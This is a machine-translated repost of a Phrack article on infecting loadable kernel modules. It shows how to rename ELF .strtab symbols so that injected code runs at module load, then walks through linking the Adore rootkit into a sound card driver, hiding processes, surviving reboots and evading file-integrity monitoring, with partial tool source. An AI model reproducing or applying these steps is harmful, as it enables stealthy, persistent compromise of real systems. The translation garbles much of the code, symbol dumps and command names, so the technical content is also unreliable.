LKM injection

xiaoxiao2021-03-06  88

== phrack inc. ==

Volume 0x0b, Issue 0x3d, Phile # 0x0a of 0x0f

| = ---------------- = [Infecting loadable kernel modules] = ---------------- = |

| = ------------------------------------------------ ----------------------- = |

| = -------------------- = [Truff ] = ---------------- --- = |

| = ------------------------------------------------ ----------------------- = |

| = ------------ = [Translator: osmose ] = ------------- = |

LKM injection

- [Content

1 Introduction

2 - ELF basic knowledge

2.1 - the .symtab section

2.2 - the .strtab section

3 - Turn loadable kernel modules

3.1 - Module loading

3.2 - Modify .stRTAB Section

3.3 - Insert code

3.4 - Keep concealment

4 - instance

4.1 - The simplest LKM infection

4.2 - I will return back (after restart)

5 - About other operating systems

5.1 - Solaris

5.2 - * BSD

5.2.1 - FreeBSD

5.2.2 - NetBSD

5.2.3 - OpenBSD

6 Conclusion

7 - thanks

8 - Reference

9 - Source code

9.1 - ElfstrChange

9.2 - LKMINJECT

--[ 1 Introduction

For these years, many rootkit have used loadingable kernel modules. This is just a short flow.

Is there a behavior? No, LKM is widely used than its powerful features: you can hide files, there are other processes.

Some wonderful. For the first generation of rootkits, use the lsmod command to easily find them.

We have seen many hidden modules, such as those mentioned in Plaguez [1], there are more

Skills used in Adore Rootkit [2]. After a few years, we also saw some new technologies:

/ dev / kmem [3] Modify the Kernel Memory Image. Finally, reference information [4]

We demonstrate static kernel patching technology. This technology solves a big problem:

Rootkit can be reloaded after the machine is restarted.

(Translator Note: Find a way to operate in LSMOD, for your understanding. "In Keernel 2.0.x, the instruction

'LSMOD' is to open the file '/ proc / modules' to learn which of the system is loaded. but

After the Kernel 2.1.x, the system provides a function of 'query_module'. Therefore, the "LSMOD '"

This is to obtain the system-loaded Module related information through call query_module. ") This article proposes a new technology that hides LKM Rootkits and guarantees that these rootkit can be able to restart.

Reload. The article will mention how to infect a system used in the kernel module. This article is targeting Linux Kernel

X86 2.4.x series, but this technology can be promoted in any system using ELF file format. To understand this

Technology requires some basic knowledge. The kernel module is an ELF Object file, we need to understand a little ELF format, especially

It is a knowledge about the symbol naming section. Since then, we will then learn the module loading mechanism to learn how to put malicious generations.

The code is inserted into the kernel module. Finally, actually operate the module insertion.

- [2 - ELF foundation

Executable & Linking Format (ELF) is used on Linux operating systems

The executable file format. We must first understand some of the relevant knowledge, it is used in the future (if you want to fully understand the ELF format,

Please refer to [1]). When link two ELF Object files, the link needs to know each Object file.

Some of the relevant symbols. Each ELF Object file (those Object files such as LKM) contain two

Part (Translator Note: It is the text. Symtab and .sturtab two sections). These two sections are used

To store the information structure of each symbol. We must not only study them, but also summarize some of the infected kernel modules.

Idea.

---- [2.1 - .ssymtab section

This part is a list of structures. When the linker uses the symbols in the ELF Object file, they need these

data. The definition of this structure can be found in /usr/include/elf.h:

/ * Symbol Table Entry. * / (Symbol List Inlet)

Typedef struct

{

ELF32_WORD ST_NAME; / * SYMBOL Name (String TBL INDEX) * / (Symbol Name (String List Index))

ELF32_ADDR ST_VALUE; / * SYMBOL VALUE * / (Value of symbols)

ELF32_WORD ST_SIZE; / * SYMBOL SIZE * / (Signature of Sign Data Space)

Unsigned char st_info; / * symbol type and binding * / (symbol type and binding)

Unsigned char st_other; / * Symbol Visibility * / (seeability of symbol)

ELF32_SECTION ST_SHNDX; / * Section INDEX * / (index of each section)

ELF32_SYM;

Here we are only interested in ST_NAME. In fact, it is the index of the .strtab section, and the names of those symbols are

Stored inside .strtab.

---- [2.2 - .strtab Section

.strtab section is a list of non-empty strings. As we see, ST_NAME in Elf32_SYM

Yes .strtab section index. If we are looking for symbols in a string, we can very convenient to get this

The offset address of the string. Here is our computing formula:

OFFSET_SYM_NAME = Offset_StRTAB ST_NAMEOFFSET_STRTAB is .STRTAB Section can be solved by the section name relative to the offset address at the beginning of the file.

Analysis of the mechanism. This is not very big and what we have to talk about is not very big, and it will not be study here. References [5] explore in detail

This problem, which gives the specific implementation code.

It can now be said that in the ELF Object file, we can easily find the symbolic name and modify them. However, modification process

Always keep in mind a point: .strtab section is composed of continuous non-empty strings, this is a new symbol name after modification

Switch: The length of the new name cannot exceed the length of the original, otherwise it will be. StrTab in the next symbol. (Translator Note:

Like the truth of overflow, the new name length exceeds the original set value, and the part of the more, will write to a symbolic name area behind,

Cover some of the useful parts)

Obey this, we can make a simple modification of the symbolic name without affecting the normal operation of the module, and finally implements one

A module infects another module.

- [3 - Turn on Loadable Kernel Modules

The source code for dynamically loaded module programs is given below. Understand this, we can learn to insert generation in the module

Code.

---- [3.1 - Module load

The loading of the kernel module is implemented by the INSMOD user space tool. Insmod is included in the MODUTILS package [6].

What we are interested is the init_module () function in the insmod.c file.

Static int init_module (const char * m_name, struct obj_file * f,

Unsigned long m_size, const char * blob_name,

Unsigned int NOLOAD, Unsigned Int flag_load_map

{

(1) struct module * module;

Struct obj_section * sec;

Void * image;

INT RET = 0;

TGT_LONG M_ADDR;

....

(2) Module-> init = Obj_symbol_final_value (f,

Obj_find_symbol (f, "init_module"));

(3) Module-> Cleanup = Obj_Symbol_Final_Value (f,

Obj_find_symbol (f, "cleanup_module"));

....

IF (RET == 0 &&! NOLOAD) {

Fflush (stdout); / * flush any debugging output * /

(4) RET = SYS_INIT_MODULE (m_name, (struct module *) image;

IF (re) {

Error ("INIT_MODULE:% M");

Lprintf

"Hint: Insmod Errors Can Be Caused by IncorRect Module Parameters,"

"Including Invalid Io or Irq Parameters./N"

"You May Find More Information in Syslog or the Output from Dmesg");

}

}

In (1), the function fills the data necessary for the load module to a struct module (Struct Module). The part that needs attention is init_module and cleanup_module. This is two function pointers, points to

The load module's init_module () and cleanup_module () functions. (2) Obj_find_symbol inside ()

Function Traverse Sign List Find the name of the name for the init_module, then extract this structure symbol (Struct

Symbol) and pass it to Obj_Symbol_Final_Value (). The latter extracts from this structural symbol

The address of the INIT_MODULE function. Similarly, this work in (3) is repeated for cleanup_module ().

all over. It is necessary to keep in mind that the function called when the module is initialized or end, they are in the entrance of .strtab section

The INIT_MODULE and CLEANUP_MODULE are respectively corresponding.

When the structural module is filled, (4) uses SYS_INIT_MODULE () system call (Syscall)

The notification core loads the corresponding module.

The program calls SYS_INIT_MODULE () during the module loading process, where we are interested in. This letter

The number of code can be found in /usr/src/linux/kernel/module.c:

ASMLINKAGE Long

SYS_INIT_MODULE (const char * name_user, struct module * mod_user)

{

Struct Module MOD_TMP, * MOD;

Char * name, * n_name, * name_tmp = NULL;

Long Namelen, N_Namelen, I, Error

Unsigned long mode_user_size;

Struct Module_ref * DEP;

/ * A lot of Sanity Checks * /

.....

/ * Ok, the top is all of the Sanity Checks we can endure; the rest of the copy is as follows. * /

(1) IF (Copy_From_user ((char *) MOD MOD_USER_SIZE,

(char *) MOD_USER MOD_USER_SIZE,

MOD-> SIZE-MOD_USER_SIZE)) {

Error = -efault;

Goto Err3;

}

/ * Other Sanity Checks * /

....

/ * Initialization module * /

Atomic_SET (& Mod-> Uc.useCount, 1);

MOD-> FLAGS | = mod_initializing;

(2) IF (MOD-> INIT && (Error = mod-> init ())! = 0) {

atomic_set (& mod-> uc.usecount, 0);

MOD-> Flags & = ~ mod_initializing;

IF (Error> 0) / * buggy module * /

Error = -ebusy;

Goto ERR0;

}

Atomic_Dec (& Mod-> Uc.useCount);

After some Sanity Check, the structural module is copied from the user space by copy_from_user ()

To the kernel space. Then (2) is called by using the mod-> init () function pointer to the load module.

INIT_MODULE () function. The value of mod-> init () This pointer is filled by INSMOD tool. ---- [3.2 - Modify .strtab Section

The front has been mentioned, by checking the string in the .strtab section, we can locate the init function in the module.

address. By modifying this string, we can perform other functions when the module is loaded.

Modify. There are several ways to atstab Section entry. The -wrap parameter of the LD can be done. But this method and us

The -R parameter (chapter 3.3) to be used later is not compatible. In the chapter 5.1, we will see how to complete this with XXD.

Work. I wrote a tool (chapter 9.1) automatically performs this.

Here is a simple example:

$ cat test.c

#define module

#define __kernel__

#include

#include

INT init_module (void)

{

Printk ("<1> INTO INIT_MODULE () / N");

Return 0;

}

INT Evil_Module (Void)

{

Printk ("<1> INTO EVIL_MODULE () / N");

Return 0;

}

INT CLEANUP_MODULE (VOID)

{

Printk ("<1> INTO CLEANUP_MODULE () / N");

Return 0;

}

$ cc -o2 -c Test.c

Let us see. Symtab and .strtab two sections:

$ objdump -t test.o

Test.o: File Format ELF32-I386

Symbol Table:

0000000000000000-008 000000000000000000000000000000 Test.c

0000000000000000 L d .Text 00000000000000

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000

000000000000000000 L o .Modinfo 0000000000000016 __Module_kernel_version

0000000000000000-008 0000-00-00

00000000000000000000000000000000000000000000000000000000

0000000000000000 g f .text 0000000000000014 Init_Module

00000000000000-003000000 000000000000000 Printk

0000000000000014 G f .text 0000000000000014 Evil_Module

0000000000000028 G f .text 0000000000000014 Cleanup_module

We will immediately modify the two ports of the .strtab Section to change the symbolic name of the Evil_Module to INIT_MODULE.

First, you must rename the init_module symbol. In the same ELF Object file, the same values ​​in both nature

The name cannot be repeated. Below is the operation process: rename

1) INIT_MODULE ----> DUMM_MODULE

2) Evil_Module ----> Init_Module

$ ./elfstrchange test.o init_module dumm_module

[ ] Symbol Init_Module Located AT 0x3DC

[ ] .strtab Entry Overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module

[ ] Symbol Evil_Module Located AT 0x3ef

[ ] .strtab Entry Overwriten with init_module

$ objdump -t test.o

Test.o: File Format ELF32-I386

Symbol Table:

0000000000000000-008 000000000000000000000000000000 Test.c

0000000000000000 L d .Text 00000000000000

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000

000000000000000000 L o .Modinfo 0000000000000016 __Module_kernel_version

0000000000000000-008 0000-00-00

00000000000000000000000000000000000000000000000000000000

0000000000000000 g f .text 0000000000000014 DUMM_MODULE

00000000000000-003000000 000000000000000 Printk

0000000000000014 g f .text 0000000000000014 Init_Module

0000000000000028 G f .text 0000000000000014 Cleanup_module

# insmod test.o

# tail -n 1 / var / log / kernel

May 4 22:46:55 Accelerator Kernel: INTO EVIL_MODULE ()

As we see, evil_module () is called as init_module ().

---- [3.3 - Insert code

The continuous development of technologies makes replacement functions and has become possible, but this is not particularly interesting. if we

It is better to insert an external code in an existing module. There is a way to * easily * do this - use

LD this magic weapon.

$ Cat Original.c

#define module

#define __kernel__

#include

#include

INT init_module (void)

{

Printk ("<1> INTO INIT_MODULE () / N");

Return 0;

}

INT CLEANUP_MODULE (VOID)

{

Printk ("<1> INTO CLEANUP_MODULE () / N");

Return 0;}

$ cat inject.c

#define module

#define __kernel__

#include

#include

INT INJE_MODULE (VOID)

{

Printk ("<1> Injected / N");

Return 0;

}

$ cc -o2 -c Original.c

$ cc -o2 -c incject.c

The important part begins. Since the kernel module is an ELF Object file that can be relocated, the code insert is not a

problem. This Object file can share each other's symbols after the link. Again here there is a principle: to link in one

There are no symbols in several modules. Use the LD command to complete a part of the link, do not change

The nature of the link file. The modules thus declared can be loaded by the kernel.

$ ld -r original.o inject.o -o evil.o

$ MV Evil.o Original.o

$ objdump -t Original.o

Original.o: File Format ELF32-I386

Symbol Table:

0000000000000000 L d .Text 00000000000000

000000000000002 million L D * ABS * 0000000000000000

0000000000000000-008 0000-00-00

00000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000

000000000000002 million L D * ABS * 0000000000000000

000000000000002 million L D * ABS * 0000000000000000

000000000000002 million L D * ABS * 0000000000000000

0000000000000000-008 0000000000000000000000 Original.c

000000000000000000 L o .Modinfo 0000000000000016 __Module_kernel_version

0000000000000000-008 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0000000000000016 L o .Modinfo 0000000000000016 __Module_kernel_version

0000000000000014 g f .text 0000000000000014 Cleanup_module

0000000000000000 g f .text 0000000000000014 Init_Module

00000000000000-003000000 000000000000000 Printk

0000000000000028 G f .text 0000000000000014 INJE_MODULE

Such an inJE_Module () function will be linked into the module. Now we have to modify .strtab section to ensure modules

When loading, INJE_MODULE () instead of init_module ().

$ ./elfstrchange original.o init_module dumm_module [ ] Symbol init_module located AT 0x4a8

[ ] .strtab Entry Overwriten with dumm_module

$ ./lfstrchange original.o inje_module init_module

[ ] Symbol INJE_MODULE LOCATED AT 0x4BB

[ ] .strtab Entry Overwriten with init_module

Open fire:

# Insmod Original.o

# tail -n 1 / var / log / kernel

May 14 20:37:02 accelerator kernel: injected

The miracle happened :)

---- [3.4 - Keep hidden

Most of the time we have to infect the modules that are using. If we use other functions to replace

INIT_MODULE (), the original function of the module cannot be played. Eye people can easily find this infected

Module. There is a solution to keep the original features and insert our code. .stl

After being HACK, the real init_module () function is renamed Dumm_Module. If I

Insert Dumm_Module () in the inserted evil_module () function, then true init_module ()

It is performed when the module is initialized, so that the original function of the module will not be destroyed.

replace

INIT_MODULE ------> DUMM_MODULE

INJE_MODULE ------> Init_Module (will call DUMM_MODULE)

$ Cat Stealth.c

#define module

#define __kernel__

#include

#include

INT INJE_MODULE (VOID)

{

DUMM_MODULE ();

Printk ("<1> Injected / N");

Return 0;

}

$ cc -o2 -c stealth.c

$ ld -r original.o stealth.o -o evil.o

$ MV Evil.o Original.o

$ ./lfstrchange original.o init_module dumm_module

[ ] Symbol init_module located AT 0x4c9

[ ] .strtab Entry Overwriten with dumm_module

$ ./lfstrchange original.o inje_module init_module

[ ] Symbol INJE_MODULE LOCATED AT 0X4E8

[ ] .strtab Entry Overwriten with init_module

# Insmod Original.o

# tail -n 2 / var / log / kenel

May 17 14:57:31 accelerator kernel: INTO init_module ()

May 17 14:57:31 accelerator kernel: injected

It's so, we have been executed after the code is running in normal code, this is enough.

- [4 - instance

The method of modifying the init_module () is equally applicable to the Cleanup_Module () function. In this way, we will

You can insert a complete module into another module. I have inserted the famous adore [2] rootkit into my sound card driver (i810_audio.o) through simple processing.

---- [4.1 - the simplest LKM infection

1) We must make a little modification for adore.c.

* Add to Dumm_Module () call in the init_module () function

* Add to Dummcle_Module () in the Cleanup_Module () module function

* Change the init_module function name to EVIL_MODULE

* Change the Cleanup_Module function name to Evclean_Module

(Translator Note: Pay attention to always maintain the length of the function and the consistency of the original name)

2) Compile Adore with a Make command

3) link adore.o and i810_audio.o.o

LD -R I810_AUDIO.O ADORE.O -O Evil.o

If the module to be inserted is already loaded, you must first uninstall it:

RMMOD I810_AUDIO

MV Evil.o i810_audio.o

4) Modify .strtab Section

replace

INIT_MODULE ------> DUMM_MODULE

Evil_Module ------> Init_Module (will call DUMM_MODULE)

Cleanup_module ------> evctlean_module

Evclean_Module ------> Cleanup_Module (will call evctlean_module)

$ .Alfstrchange I810_AUDIO.O init_module dumm_module

[ ] Symbol init_module located at 0xa2db

[ ] .strtab Entry Overwriten with dumm_module

$ ./lfstrchange i810_audio.o evil_module init_module

[ ] Symbol Evil_Module Located AT 0xA4D1

[ ] .strtab Entry Overwriten with init_module

$ ./lfstrchange i810_audio.o cleanup_module dummcle_module

[ ] Symbol Cleanup_Module Located AT 0xA169

[ ] .strtab Entry Overwriten with Dummcle_Module

$ .Alfstrchange i810_audio.o evctlean_module cleanup_module

[ ] Symbol Evclean_Module Located AT 0xA421

[ ] .strtab Entry Overwriten with cleanup_module

5) Load and test modules

# insmod i810_audio

# ./ava

USAVA {H, U, R, R, I, V, U} [File, PID or Dummy (for u)]

h hide file

u unide file

R execute as root

R Remove Pid Forever

U uninstall adore

I make pid invisible

v Make Pid Visible

# ps

PID TTY TIME CMD

2004 PTS / 3 00:00:00 Bash

2083 PTS / 3 00:00:00 PS

# ./ava I 2004

Checking for adore 0.12 or higher ... adore 0.53 installed. Good luck.

Made PID 2004 Invisible.

Root @ accelerator: / home / truff / adore # ps

PID TTY TIME CMD

#

Perfect :) In order to facilitate lazy people, I wrote a simple shell script (chapter 9.2) doing these work.

---- [4.2 - I will return back (after restart)

When the module is loaded, we have two options for future needs:

* Replace / lib / modules / in the real module with the infected module.

This ensures that our rear door can be reloaded after reboot. However, this will also be like TripWire [7]

The HIDS (Host Intrusion Detection System file intrusion monitoring system) found. But don't be too big.

Heart, the kernel module is neither an executable file nor a suid file, if the administrator configures HIDS rules

Not too metamorphosis, still can't find our head.

* Do not move those real kernel modules on / lib / modules, and delete the infected modules. This way, ie

Make HIDS monitoring files, they can only return.

- [5 - About other operating systems

---- [5.1 - Solaris

I explain this example through a basic kernel module in [8]. Solaris kernel modules use three basic functions:

- _init module is initialized

--_fini module is called when unloading

- _Info When the user uses the modinfo command, it is responsible for output module information.

$ uname -srp

Sunos 5.7 SPARC

$ CAT MOD.C

#include

#include

#include

EXTERN STRUCT MOD_OPS MOD_MISCOPS;

Static struct modmisc modmisc = {

& mod_miscops,

"Real loadable kernel module",

}

Static struct modlinkage model {

Modrev_1,

(void *) & modmisc,

NULL

}

Int _init (void)

{

INT I;

IF ((i = MOD_INSTALL (& MODLINKAGE)))! = 0)

CMN_ERR (CE_NOTE, "Could Not Install Module / N");

Else

CMN_ERR (CE_NOTE, "MOD: SUCCESSFULLY Installed");

Return I;

}

INT _INFO (STRUCT MODINFO * MODINFOP)

{

Return (MOD_INFO (& MODLINKAGE, MODINFOP);

}

Int _fini (void)

{

INT I;

IF ((i = mod_remove (& modlinkage)))! = 0)

CMN_ERR (CE_NOTE, "Could NOT Remove Module / N");

Else

CMN_ERR (CE_NOTE, "MOD: SUCCESSFULLY REMOVED");

Return I;

}

$ GCC -M64 -D_kernel -dsrv4 -dsol2 -c mod.c $ ld -r-mo mod mod.o

$ FILE MOD

MOD: ELF 64-bit MSB Relocatable Sparcv9 Version 1

As we see in the Linux example, we must include the adjustment of the true init function in the code we have to insert.

Using so that modules can work as it is the same. However, we have to face a question: if we are in the module

After the link is changed .StrtAb Section, the dynamic loader cannot find the _dumm () function, the module is natural

It cannot be loaded normally. I don't have too deep research on this issue, but I think Solaris's dynamic loading

The program will not find those symbols that are not defined in the module. So the problem solves: we only need to put it before the link

The _init is renamed _dumm in the .strtab entrance.

$ readelf -s mod

There are 10 Section's Header (Section Headers), and their offset addresses start from 0x940.

Section headers:

[NR] name type address offset

Size EntSize Flags Link Info Align

[0] null 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

00000000000000-008 00000000000000000000000000000000000000000000000000000000 0 0 0

[1] .text progbits 000000000000000000 0000000040

00000000000188 00000000000000000000000000000000000000000 AX 0 0 4

[2] .RODATA Progbits 00000000000000000000 00000000000001C8

00000000000000000000000000000000000000 A 0 0 8

[3] .data progbits 0000000000000000 00000000268

00000000000050 000000000000000000 WA 0 0 8

[4] .ssymtab Symtab 00000000000000000000000000000000000002B8

000000000000210 0000000000000018 5 E 8

[5] .strtab stratab 0000000000000000 0004C8

00000000000065 000000000000000000 0 0 1

[6] .comment progbits 0000000000000000 000000002D

0000000000003000000000000000000000000 0 0 1

[7]. SHSTRTAB stratab 00000000000000000000 00000000000000000000000000000000000000000000000000000000000000002

0000000000004E 000000000000000000 0 0 1

[8] .re.text transa 0000000000000000000000002000000000000200000000000018 4 1 8

[9] .rela.data RELA 0000000000000000 000008f8

00000000000048 00000000000018 4 3 8

Flag Note:

W (Write), A (Alloc Assignment), X (Execute Execution), M (Merge Merge), S (Strings String)

I (Info Information), L (Link ORDER Link Sequence), G (Group), X (Unknown Unknown)

O (Extra OS Processing Required requires additional system processing), O (OS SPECIIC Developing Operating System)

P (Processor Specific Specified Processor)

The start offset address of the .stab section is 0x4c8, the size is 64 bits. Below we use vi and xxd as our

16-bit editor modified .strtab section. Use the vi mode this command to open the module in the VI. Then enter:%! Xxd

The module is converted into a 16-based. You will see the following characters:

00004c0: 0000 0000 000 00 006d 6F64 006D 6F64 ......... mod.mod

00004D0: 2E63 006D 6F64 6C69 6E6B 6167 6500 6D6f .c.modlinkage.mo

00004E0: 646C 6D69 7363 006D 6F64 5F6D 6973 636F DLMISC.MOD_MISCO

00004F0: 7073 005F 696E 666F 006D 6F64 5F69 6E73 PS._INFO.MOD_INS

0000500: 7461 6C6C 005F 696E 6974 006D 6F64 5F69 Tall._init.mod_i

^^^^^^^^^^

We use _dumm to replace _init, only modify four bytes.

00004c0: 0000 0000 000 00 006d 6F64 006D 6F64 ......... mod.mod

00004D0: 2E63 006D 6F64 6C69 6E6B 6167 6500 6D6f .c.modlinkage.mo

00004E0: 646C 6D69 7363 006D 6F64 5F6D 6973 636F DLMISC.MOD_MISCO

00004F0: 7073 005F 696E 666F 006D 6F64 5F69 6E73 PS._INFO.MOD_INS

0000500: 7461 6C6C 005F 6475 6D6D 006D 6F64 5F69 Tall._init.mod_i

^^^^^^^^^^^^^

^^^^

(Translator Note: It seems to be DUMM,

May be a pen error)

Use:%! Xxd -r this command to convert the module from 16 into the back, save the exit. Then let's confirm that we

Whether the modification is successful.

$ objdump -t mod

MOD: File Format ELF64-SPARC

Symbol Table:

00000000000000000002 0000 20000000000000000000000 MOD

0000000000000000 L d .Text 00000000000000

0000000000000000 L d .Rodata @0000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000002 million L D * ABS * 0000000000000000

000000000000002 million L D * ABS * 0000000000000000

00000000000000000000000000000000000000000000000000000000

000000000000002 million L D * ABS * 0000000000000000

000000000000002 million L D * ABS * 0000000000000000

000000000000002 million L D * ABS * 0000000000000000

0000000000000000-008 000000000000000000000000 MOD.C

0000000000000010 L o .data 0000000000000040 MODLINKAGE

0000000000000000000000000000000000000000000000000000000010 MODLMISC

0000000000000000-008 00000000000000 MOD_MISCOPS

00000000000000A4 g f .text 0000000000000040 _INFO

0000000000000000-0080000000000 MOD_INSTALL

0000000000000000 g f .text 0000000000000188 _DUMM

00000000000000-00 0000000000000000000000 MOD * 0000000000 MOD_INFO

00000000000000-008 000000000000000000 MOD_REMOVE

0000000000000000E4 g f .text 0000000000000188 _fini

0000000000000000-008 00000000000000000000000000 CMN_ERR

It can be seen that _init has been replaced by _dumm. Now we can insert a named _init directly

The function is.

$ Cat Evil.c

Int _init (void)

{

_dumm ();

CMN_ERR (1, "Evil: Success Installed");

Return 0;

}

$ GCC -M64 -D_kernel -dsrv4 -dsol2 -c inject.c

$ ld -r -o inject inject.o

Insert the module with the LD command:

$ ld -r-e evil mod inject

Loading module:

# MODLOAD EVIL

# tail -f / var / adm / message

Jul 15 10:58:33 Luna UNIX: NOTICE: MOD: SUCCESSFULLY Installed

Jul 15 10:58:33 Luna UNIX: NOTICE: Evil: SuccessFully Installed

Use the _fini function to insert a full module into other modules and the same.

---- [5.2 - * BSD

------ [5.2.1 - FreeBSD

% uname -SRM

FreeBSD 4.8-Stable i386

% File /Modules/daemon_saver.ko

Daemon_saver.ko: ELF 32-Bit LSB Shared Object, Intel 80386, Version 1 (FreeBSD), Not Stripped

As we see, the FreeBSD kernel module is shared Object, so we can't use the LD command to make malicious

The code and module chain are connected together. Not only that, the mechanism of FreeBSD loading modules and Linux and Solaris are not

same. See /usr/src/sys/kern/kern_linker.c you understand. INIT / CLEANUP function name

Wushu. When initialization, the loader finds the init function in a structure of .data section.

Address, not by means of function name. Therefore, the method of Hack .stRTAB above is no longer applicable.

------ [5.2.2 - NetBSD

$ File Nvidia.o

NVIDIA.O: ELF 32-BIT LSB RELOCATABLE, Intel 80386, Version 1

(Sysv), Not stripped

The NetBSD kernel module is a relocated ELF Object file that can be inserted into the module. When using modload

When loading the kernel module, the loader links the module and kernel, and executes the code at the module entrance (generation

The code is placed in Elf Header).

After the link, we can modify the module entry. But there is no need to do this. The modload command provides "-e" participation

Number, so that we set which symbol is entry point.

Here is an example, we want to infect modules:

$ CAT Gentil_Lkm.c

#include

#include

#include

#include

#include

#include

MOD_MISC ("Gentil");

INT Gentil_Lkmentry (struct lkm_table *, int, int);

INT Gentil_LkmLoad (Struct LKM_TABLE *, INT);

INT Gentil_lkmunload (Struct LKM_TABLE *, INT);

INT Gentil_Lkmstat (struct lkm_table *, int);

INT Gentil_lkmentry (Struct LKM_TABLE * LKMT, INT CMD, INT VER)

{

Dispatch (LKMT, CMD, Ver, Gentil_LKMLOAD, GENTIL_LKMUNLOAD,

Gentil_lkmstat);

}

INT Gentil_LkmLoad (Struct LKM_TABLE * LKMT, INT CMD)

{

Printf ("Gentil: Hello, World! / N");

Return (0);

}

INT Gentil_LKMunload (Struct LKM_TABLE * LKMT, INT CMD)

{

Printf ("Gentil: Goodbye, World! / N");

Return (0);

}

INT Gentil_LKMSTAT (Struct LKM_TABLE * LKMT, INT CMD)

{

Printf ("Gentil: How you doin ', world? / n");

Return (0);

}

Below this section is the code to be inserted:

$ Cat Evil_Lkm.c # include

#include

#include

#include

#include

#include

INT Gentil_Lkmentry (struct lkm_table *, int, int);

int

INJECT_ENTRY (Struct LKM_TABLE * LKMT, INT CMD, INT VER)

{

Switch (cmd) {

Case LKM_E_LOAD:

Printf ("Evil: in Place / N");

Break;

Case LKM_E_UNLOAD:

Printf ("Evil: I'll Be Back! / N");

Break;

Case LKM_E_STAT:

Printf ("Evil: Report in Progress / N);

Break;

DEFAULT:

Printf ("Edit: Unknown Command / N);

Break;

}

Return Gentil_Lkmentry (LKMT, CMD, VER);

}

After compiling Gentil and Evil, we link them together:

$ ld -r -o evil.o gentsil.o inject.o

$ mv evil.o gentil.o

# MODLOAD -E Evil_ENTRY GENTIL.O

Module Loaded AS ID 2

# MODSTAT

Type ID Offset Loadaddr Size Info Rev Module Name

DEV 0 -1/108 D3ED3000 0004 D3ED3440 1 MMR

DEV 1-1/180 d3fa6000 03e0 D4090100 1 NVIDIA

Misc 2 0 E45B9000 0004 E45B9254 1 Gentil

# MODUNLOAD-N Gentil

# dmesg | tail

Evil: in place

Gentil: Hello, World!

Evil: Report in Progress

Gentil: How you don, world?

Evil: I'll be back!

Gentil: Goodbye, World!

Ok, everything is so perfect :)

------ [5.2.3 - OpenBSD

OpenBSD does not use the ELF file of the X86 architecture, so this technology has no use of martial arts. I am not in those

Tested on the platform of ELF, but I think they look similar to NetBSD, the above HACK technology should

Also applied. If you have succeeded on the openbsd platform using the ELF, tell me.

--[ 6 Conclusion

This article adds some methods of integrated code in the kernel. I propose this technology because you just have to do very little.

If you can realize the insertion of the code, it is really interesting.

Enjoy yourself :)

- [7 - Thank you

I want to thank Mycroft, Ouah, Aki and Afrique to give me comments and suggestions. Thank you very much for klem church.

Reverse Engineering.

Thanks to Fxkennedy to give me help in NetBSD.

A Big Kiss to Carla for Being Wonderfull. (Translator Note: I will not turn it out of this sentence ^ _ ^)

Finally, I thank everyone # ROOT, `Sprud, Hotfyre, Funka, Jaia, Climax, Redoktober ...

- [8 - Reference material

[1] Weakening the Linux kernel by Plaguez

http://www.phrack.org/show.php?p=52&a=18

[2] The adore rootkit by stealth

http://stealth.7350.org/rootkits/

[3] Runtime Kernel Kmem Patching by Silvio Cesare

http://vx.netlux.org/lib/vsc07.html

[4] static kernel Patching by jbtzhm

http://www.phrack.org/show.php?p=60&a=8

[5] Tool Interface Specification On Elf

Http://segfault.net/tis-elf_v1.2.pdf

[6] MODUTILS for 2.4.x Kernels

FTP: //ftp.kernel.org/pub/linux/UTILS/kernel/modutils/v2.4

[7] Tripwire

http://www.tripwire.org

[8] Solaris Loadable Kernel Modules by Plasmoid

http://www.thc.org/papers/slkm-1.0.html

- [9 - Source code

---- [9.1 - ElfstrChange

/ *

* Elfstrchange.c by Truff

* Change the value of a symbol name in the .strtab section

*

* Usage: ElfstrChange Elf_Object Sym_name SYM_NAME_REPLACED

*

* /

#include

#include

#include

#DEfine Fatal (x) {Perror (x); exit (exit_failure);}

INT ElfgetSectionname (file * fd, ELF32_word sh_name,

ELF32_SHDR * SHSTRTABLE, CHAR * RES, SIZE_T LEN);

ELF32_OFF ELFGETSYMBOLBYNAME (file * fd, ELF32_SHDR * SYMTAB,

ELF32_SHDR * STRTAB, CHAR * Name, ELF32_SYM * SYM);

ELF32_OFF ELFGETSYMBOLNAME (File * fd, Elf32_word sym_name,

ELF32_SHDR * STRTABLE, CHAR * RES, SIZE_T LEN;

INT main (int Argc, char ** argv)

{

INT I;

INT LEN = 0;

CHAR * STRING;

File * fd;

ELF32_EHDR HDR;

ELF32_SHDR SYMTAB, STRTAB;

ELF32_SYM SYM;

ELF32_OFF SYMOFFSET;

FD = fopen (Argv [1], "R ");

IF (fd == null)

Fatal ("FOPEN");

IF (FREAD (& HDR, SizeOf (ELF32_EHDR), 1, FD) <1) Fatal ("Elf Header Corrupted");

IF (ElfgetsectionByname (fd, & hdr, ".ssymtab", & symtab) == -1)

{

FPRINTF (stderr, "can't get.ssymtab section / n");

EXIT (exit_failure);

}

IF (ElfgetsectionByname (FD, & HDR, ".stRTAB", & Strtab) == -1)

{

FPRINTF (stderr, "can't get.strtab section / n");

EXIT (exit_failure);

}

Symoffset = ElfgetsymbolbyName (FD, & SymTab, & Stutab, Argv [2], & SYM);

IF (Symoffset == -1)

{

FPRINTF (stderr, "Symbol% ​​s not found / n", argv [2]);

EXIT (exit_failure);

}

Printf ("[ ] Symbol% ​​s located AT 0x% x / n", Argv [2], SYMOFFSET;

IF (FSeek (FD, Symoffset, Seek_set) == -1)

Fatal ("fseek");

IF (FWRIT (Argv [3], 1, Strlen (Argv [3]), FD)

Fatal ("fwrite");

